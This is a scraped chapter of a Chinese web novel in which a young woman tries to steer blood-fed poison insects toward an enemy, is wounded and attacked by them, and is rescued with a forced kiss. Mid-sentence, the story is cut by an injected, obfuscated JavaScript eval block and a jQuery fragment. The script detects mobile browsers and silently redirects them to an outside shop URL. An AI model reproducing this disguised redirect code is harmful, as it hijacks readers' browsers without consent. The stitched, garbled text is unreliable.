24. 第 24 章

作品:《我和庶姐有个秘密

    那些虫蛇行到一半,忽然失去方向,在半路彷徨。


    宁青风眼睛瞪得铜铃大,用力得脑门都出了汗,依旧指挥不动那些恶心的小东西。


    宁青风哀叹一声。


    她明明训练了那么多次,依然无法突破这短短的距离。


    那几日的禁闭,宁青风并没有安静地反思过错,而是在捣鼓这些虫蛇。


    这些恶心的玩意儿是她从虞青雪手指缝里漏来的。


    她那姐姐肯定做梦都想不到,宁青风会从城门口以及乱葬岗上,捡走姐姐抛弃不要的“宠物”。


    为此宁青风熬了几个大夜,偷偷溜出府,忍着恶心一只一只捡进袋子里藏起来,带回家。


    她忘不了乱葬岗上濒临死亡时,那种到达极限后感知到的玄妙牵引。当时她没察觉,可后来虞青雪再次操纵着虫蛇去咬泼皮袁海时,那股玄妙的牵引又隐隐触动她的脑迹。


    她脑中闪光一片灵光,莫非,虞青雪就是通过这种方式操纵的虫蛇?


    那几日她拼命回想当时的脑力波动,尝试一模一样复制还原。


    虫蛇果然有反应,可是不多。


    宁青风毫不气馁,继续用各种方式试验,甚至和它们同吃同住,终于摸清了它们的习性。


    诡异的黑虫们不吃别的,专吃血。


    动物的血、人的血,无血不欢。


    尤其喜欢她宁青风的血。


    宁青风发现,一旦让黑虫们品尝到固定人的血,黑虫们就会对那人一心一意,执拗地扑上去吸更多。


    这不正是她窥伺已久的报仇时机吗?


    宁青风灵光一闪,只要取得肃王的血,再加上她的引导,小黑们就能向目标进攻,不知不觉咬死那坏蛋,还不会牵连到她的家人。


    真是一举两得!


    她特意饿了虫蛇几日,饥肠辘辘的小黑们刚开始勇猛无前,却很快打起了空响炮仗,还没跑出一半就泄气了。


    宁青风拼尽全力,也只能操控一定距离。如今肃王离她太远,虫蛇寻不到血的主人,已经放飞自我四处溜达了。


    宁青风看得急呀。


    血可是有时效性的,那些小东西鱼的记性,再晚些就彻底忘了,更加记不得他们担负着重大使命。


    宁青风望着不远处来回巡逻的侍卫,有宫廷内的,也有肃王自己的私卫,层层防守,根本钻不进一个宁小霸王。


    宁青风本性很是胆小,完全不同于表现出来的混不吝,只要还有退路,她便不会选择最危险的那条。


    宁青风最后一次尝试操控那群乱走的虫蛇,就算用力到头脑发晕,小黑们还是不听话。


    这是她的极限了。


    宁青风咬咬牙,终于下定决心,心惊胆战又朝前方摸去。


    随着她的靠近,小黑们重新找到主心骨,开始随宁青风的意志向前移动。


    成群出现的蛇虫动静不可谓不大。有敏锐的侍卫瞪大了眼,忽然尖叫道:“有蛇!”一长枪插了过去。


    宁青风一个大惊缩回头,立刻弃小黑们而逃,钻入回环曲折的艮岳群中。


    宁青风还没缓回一口气,眼前却突然飞窜来一道影子,咬得宁青风一痛。


    “什么人!”


    一石之隔的侍卫们听得动静,立刻转身寻来。


    宁青风胳膊上吊着一只白狐,正是除夕夜亮相过的祥瑞,此刻这小畜生不知道发什么疯,竟将宁青风当成猎物撕咬。


    宁青风眼见摆脱不了它,只能拖着白狐逃命。


    一切已来不及。


    尖锐的刺痛滑破她的后腰,鲜血扑涌而出,那一瞬间宁青风疼得几乎窒息。


    有道声音在此刻乍然涌来:


    【这边,快!】


    大脑中的声音,甚至能清晰辨明方向。


    宁青风大脑一片空白,本能向那道声音扑去。那道声音很远,却在顺着她的脚步指引方向。


    艮岳回环曲折,皇帝为了凸显格调,修得那叫三步一换景。复杂的园景,竟让宁青风绝路逢生。


    她躲到艮岳的某个窟窿中,伸手碰过身后的剧痛,果然摸到一手的血。


    她还没喘过那口气,耳边窸窸窣窣声却越来越密。


    宁青风回头,竟看到黑虫大军正向她扑近,身后还跟着闻风而来的追兵!


    小黑们太坑了,居然坑自家主人!


    蛇虫的移动速度可比人快多了。风一样卷过来,眨眼将宁青风吞噬。


    一切发生得太快,不仅宁青风没反应过来,连虞青雪也是。


    那一瞬间,巨大的痛同感袭来,连虞青雪都差点熬不住,那是万虫啃食之痛,源头正在腰后受伤的地方。


    那些虫蛇,正在啃宁青风的血肉。


    这一瞬间,虞青雪终于知道那纨绔靠什么“操纵”他的蛊了。


    她居然给那群蛊喝她的血!难道她以为这样就能操控蛊群了?


    真是大错特错!


    蛊王之所以能令万蛊臣服,凭的是绝对碾压的力量。可一旦那尊贵的王者流露出一丝脆弱,蛰伏在下的群蛊便会一拥而上,将其分食殆尽。


    如今的宁青风便是如此。


    她的意志如此脆弱,众蛊只需品尝一口,便能尝到内里那未经世事、毫不设防的甘美。


    这无异于一只绵羊落在饿狼堆里,自己却懵然不知,引得从前的臣服者蠢蠢欲动,只待时机化作猎人,扑上来分一杯羹。


    那群蛊可是虞青雪从蛊山里带出来的毒中之毒啊!宁青风怎么敢!


    真是不知者无畏。


    虞青雪气得脑子发晕。


    身后的追兵正在赶来,宁青风的痛意强烈到仿佛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054380|192234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拽着他耳朵大喊:疼,好疼!疼疼疼疼!


    炸得他大脑几欲撕裂。


    更离谱的是,此情此景竟正好发生在他的“特殊”时期!


    虞青雪此刻根本无力操控蛊虫。失去蛊虫拥护的虞青雪不过和普通人一样肉体凡胎,甚至身体也因特殊原因,要比寻常人更虚弱。


    可是,没有虞青雪做不到的事情。


    虞青雪将将赶到现场,便直接朝宁青风扑过去。


    他一双眼扫过,如地狱爬出的恶鬼,白狐狠狠抖了一下,终于松开嘴,缩着脖子退后。


    小黑们从宁青风身上蔓延道虞青雪身上,只是畏惧于他的强悍,迟迟不敢下口。


    虞青雪暗骂一声,抱着宁青风朝旁边的暗林一滚。勉强借着黑夜遮住身形。


    这一滚碰到伤口,宁青风颤抖的呜咽泄出来前,虞青雪眼疾手快堵了回去。


    可白狐依旧未走,蠢蠢欲动守在一旁伺机而动,成了最明目张胆的把子。


    这样下去迟早被抓住。


    虞青雪想,得赶紧恢复实力才行。眼眸垂下一扫,便盯上了宁青风的唇。


    他的症状,唯宁青风的舌尖血方可解。


    那唇被纨绔死死咬住,氲出了血迹,却更添了几分糜艳,虞青雪顾不上欣赏这诱人之色,反而蛮横掐住她的下巴,试图掰开她的嘴。


    可宁青风在剧痛中,下意识咬紧牙关。竟让他怎么都掰不开。


    追兵的脚步越来越急,万虫啃咬的速度越来越快,虞青雪不怕疼,可宁青风怕得要死,再这样下去,宁青风活不成,虞青雪也便跟着活不成了。


    那牙关咬得死紧,掰开是不要想了,虞青雪眉梢一蹙,忽然想起城门处那纨绔心心念念的“云初”,又想起传言中那人的温柔名声。


    虞青雪眸色一暗,咬咬牙,传去他想象中“云初”能有的情绪,语气温柔至极。


    【淼淼,别怕。】


    竟果真抚平了宁青风的情绪。


    就那么一点相仿的温柔,竟真的让那纨绔产生如此安全感,以至于放下所有戒心……虞青雪没有来生起气来。内心却在嗤笑眼前人的愚蠢。


    宁青风急促颤动的睫毛渐渐缓和下来,只留下轻轻的颤意,扫过虞青雪的指尖,温柔得如蝴蝶扇翅。


    美人的动作却是与之相反的暴虐。掐开宁青风下颚的那瞬间,虞青雪便压了上去。


    两唇相撞可没有一点温柔,虞青雪在那深处毫不客气反客为主,入侵者如狂风过境追逐它的猎物。


    宁青风似乎被压疼了,呜呜地要挣扎出声,却被虞青雪更用力地堵回去。


    追兵的脚步声就在耳边,虞青雪屏住呼吸,感官却前所未有的敏锐。宁青风挣扎着,舌尖一滑,一下子扫过对面的舌尖。


    猎人连着猎物一起战栗起来。